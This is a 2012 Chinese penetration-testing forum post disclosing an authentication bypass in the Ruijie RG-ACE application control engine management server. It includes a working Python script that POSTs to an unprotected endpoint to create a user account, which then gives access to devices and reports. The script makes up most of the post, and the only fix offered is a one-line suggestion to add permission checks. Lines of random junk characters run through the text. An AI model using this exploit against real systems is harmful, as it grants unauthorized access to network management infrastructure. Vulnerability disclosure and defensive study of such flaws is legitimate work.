中国网络渗透测试联盟
标题:
锐捷应用控制引擎管理服务器可以增加用户
[打印本页]
作者:
admin
时间:
2012-12-10 10:16
标题:
锐捷应用控制引擎管理服务器可以增加用户
锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接
http://www.ruijie.com.cn/service/down-search.aspx
显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）
h* F+ O8 W, g
$ w3 O- w, N8 b- |/ ~+ k8 _
* n* T5 m* n0 P/ ^- b4 L& Z0 P) C* r
测试的具体版本是
3 |6 t+ |, N9 c/ z' q
产品名称: 锐捷应用控制引擎
) V0 p6 u: }& w7 V* N0 p; V8 P
版本号: 3.1.36.001 TC
' o+ H; C! c9 A/ \8 \
编译时间: 201104291730
n8 _$ M* b! h& }. V: G n
+ Q7 z I7 l4 h
: r6 ^, T" a' N. ]2 `$ f, ]8 m
漏洞证明：
) [, p# n; m9 G4 T
6 o; f7 h- V8 L# W3 J+ Q
; m, f4 i( R# N* }, K$ @- b" d
+ [, z5 i, P- W) c. o+ h
! N+ A+ `: {" U
0 p( K) V5 l9 X6 A+ r( u- p# n) m( G
" n& ~8 O6 d, T4 N
执行脚本
- g0 Q3 n: u$ S
#! /usr/bin/env python
1 n6 p% L& N+ p" u# Y, t
#coding=gbk
7 F5 n; _- `: W3 r" C6 Z2 X$ x
#RG-ACE管理服务器 V3.1.36.001
6 O& i( P: _8 \' b8 b0 n+ a. }
import urllib2, urllib,cookielib
8 d8 o) `: ^! f: C4 S
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
8 ^/ S: F$ i- o4 t4 t
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
3 b; M- F6 Y, _1 x0 y2 o L. Z2 ^
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
% s. k: D B; e G
post=(("event","userManager.doInsertUserInfo"),
% f P P5 B6 L
("useractionname","addButtonValue"),
& G- j& }7 o9 J+ {2 U1 }0 W
("useropermanager","userManager"),
1 [. Q! ?; J! M' j0 [% w6 t5 @
("userName","t"), #######账号自己加
. i' H. w+ \4 ?7 [4 l( c
("pwd","aaaaaa"),######密码自己加
1 C s- p- x2 g( Z' {: ` u% F
("trueName","ad"),
: T! u% W" W+ \. r! v( {
("email",""),
) P" `: z; q1 d( j/ M. H" k
("mobilePhone",""),
3 s8 i, r+ c7 H
("officePhone",""),
* A1 z& y3 r' G* N& x# U
("addr",""),
" q2 b4 u( w! {$ x, |
("submit","确定"))
; ^% e# c! E9 I4 E
urllib2.install_opener(opener)
z* p% X, M6 o
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
X- X6 L; b0 F3 ?3 i6 Z2 I
print "Done"
# h3 D3 q( h2 X5 x7 |
1 `) F9 e) s/ f0 q9 B
登录，连接设备
3 P6 K3 _0 F* D7 v
4 w9 A/ R0 a+ q/ G' I
& O+ S# N- [. @9 v* d+ |. U, s4 j# ]
: {# v; u" e; l k- L- W2 a& t
8 K7 i! O: M; o1 A( s( Z0 s+ T$ p
( |& `" A3 Q& E- d+ a% j( [! j9 T
默认的管理员admin权限更大点
- X3 |4 A/ T" `
: }' J# X! ~! T9 w3 F( V, h. l3 b
: R: v E- l/ X5 Q1 Q' z
; F" {6 v( m- I/ `) I0 q
, P! H; A8 ?& u
' n9 x5 t+ \9 i
修复方案：
7 A; F! M: f4 t" S3 a
加强对接口的权限验证
6 t5 d3 k N X S3 H& D
6 W0 Y. b) r& R1 K: a+ _
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2